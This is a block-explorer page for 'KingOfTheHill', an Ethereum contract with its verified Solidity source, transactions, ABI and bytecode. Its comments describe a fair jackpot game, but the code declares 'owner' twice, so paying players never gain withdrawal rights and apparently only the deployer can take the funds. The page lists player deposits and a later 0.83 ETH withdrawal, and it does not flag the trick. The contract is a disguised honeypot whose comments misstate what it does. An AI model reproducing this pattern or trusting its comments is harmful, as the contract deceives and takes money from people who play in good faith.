ETH Price: $3,414.61 (+0.16%)
Gas: 38 Gwei

Contract

0x4Dc76cFc65B14B3fD83C8BC8B895482F3CBC150A
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Take All116858122021-01-19 12:43:011138 days ago1611060181IN
0x4Dc76cFc...F3CBC150A
0 ETH0.0016980
Transfer47556282017-12-18 18:00:112266 days ago1513620011IN
0x4Dc76cFc...F3CBC150A
0.42 ETH0.0010087827.465
Transfer47555912017-12-18 17:50:522266 days ago1513619452IN
0x4Dc76cFc...F3CBC150A
0.42 ETH0.0007592536.155
Transfer47494482017-12-17 16:39:342267 days ago1513528774IN
0x4Dc76cFc...F3CBC150A
0.21 ETH0.0007713321
Transfer45270132017-11-10 16:06:102304 days ago1510329970IN
0x4Dc76cFc...F3CBC150A
0.1 ETH0.000036731
Transfer45251572017-11-10 8:51:342305 days ago1510303894IN
0x4Dc76cFc...F3CBC150A
0.1 ETH0.000081731
0x6060604045251392017-11-10 8:47:472305 days ago1510303667IN
 Create: KingOfTheHill
0 ETH0.000217961

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
116858122021-01-19 12:43:011138 days ago1611060181
0x4Dc76cFc...F3CBC150A
0.83 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KingOfTheHill

Compiler Version
v0.4.11+commit.68ef5810

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-11-10
*/

pragma solidity ^0.4.11;

// Simple Game. Each time you send more than the current jackpot, you become
// owner of the contract. As an owner, you can take the jackpot after a delay
// of 5 days after the last payment.

contract Owned {
    address owner;    function Owned() {
        owner = msg.sender;
    }
    modifier onlyOwner{
        if (msg.sender != owner)
            revert();        _;
    }
}

contract KingOfTheHill is Owned {
    address public owner;
    uint public jackpot;
    uint public withdrawDelay;

    function() public payable {
        // transfer contract ownership if player pay more than current jackpot
        if (msg.value > jackpot) {
            owner = msg.sender;
            withdrawDelay = block.timestamp + 5 days;
        }
        jackpot+=msg.value;
    }

    function takeAll() public onlyOwner {
        require(block.timestamp >= withdrawDelay);
        msg.sender.transfer(this.balance);
        jackpot=0;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"withdrawDelay","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"jackpot","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"takeAll","outputs":[],"payable":false,"type":"function"},{"payable":true,"type":"fallback"}]

60606040525b60008054600160a060020a03191633600160a060020a03161790555b5b61021c806100316000396000f3006060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b95780636b31ee01146100db5780638da5cb5b146100fd578063de3bcb9714610136575b6100b75b6002543411156100ac576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b60028054340190555b565b005b34156100c157fe5b6100c9610148565b60408051918252519081900360200190f35b34156100e357fe5b6100c961014e565b60408051918252519081900360200190f35b341561010557fe5b61010d610154565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b341561013e57fe5b6100b7610170565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146101995760006000fd5b6003544210156101a95760006000fd5b60405173ffffffffffffffffffffffffffffffffffffffff33811691309091163180156108fc02916000818181858888f1935050505015156101e757fe5b60006002555b5b5600a165627a7a723058209b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e90029

Deployed Bytecode

0x6060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b95780636b31ee01146100db5780638da5cb5b146100fd578063de3bcb9714610136575b6100b75b6002543411156100ac576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b60028054340190555b565b005b34156100c157fe5b6100c9610148565b60408051918252519081900360200190f35b34156100e357fe5b6100c961014e565b60408051918252519081900360200190f35b341561010557fe5b61010d610154565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b341561013e57fe5b6100b7610170565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146101995760006000fd5b6003544210156101a95760006000fd5b60405173ffffffffffffffffffffffffffffffffffffffff33811691309091163180156108fc02916000818181858888f1935050505015156101e757fe5b60006002555b5b5600a165627a7a723058209b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e90029

Swarm Source

bzzr://9b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e9

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.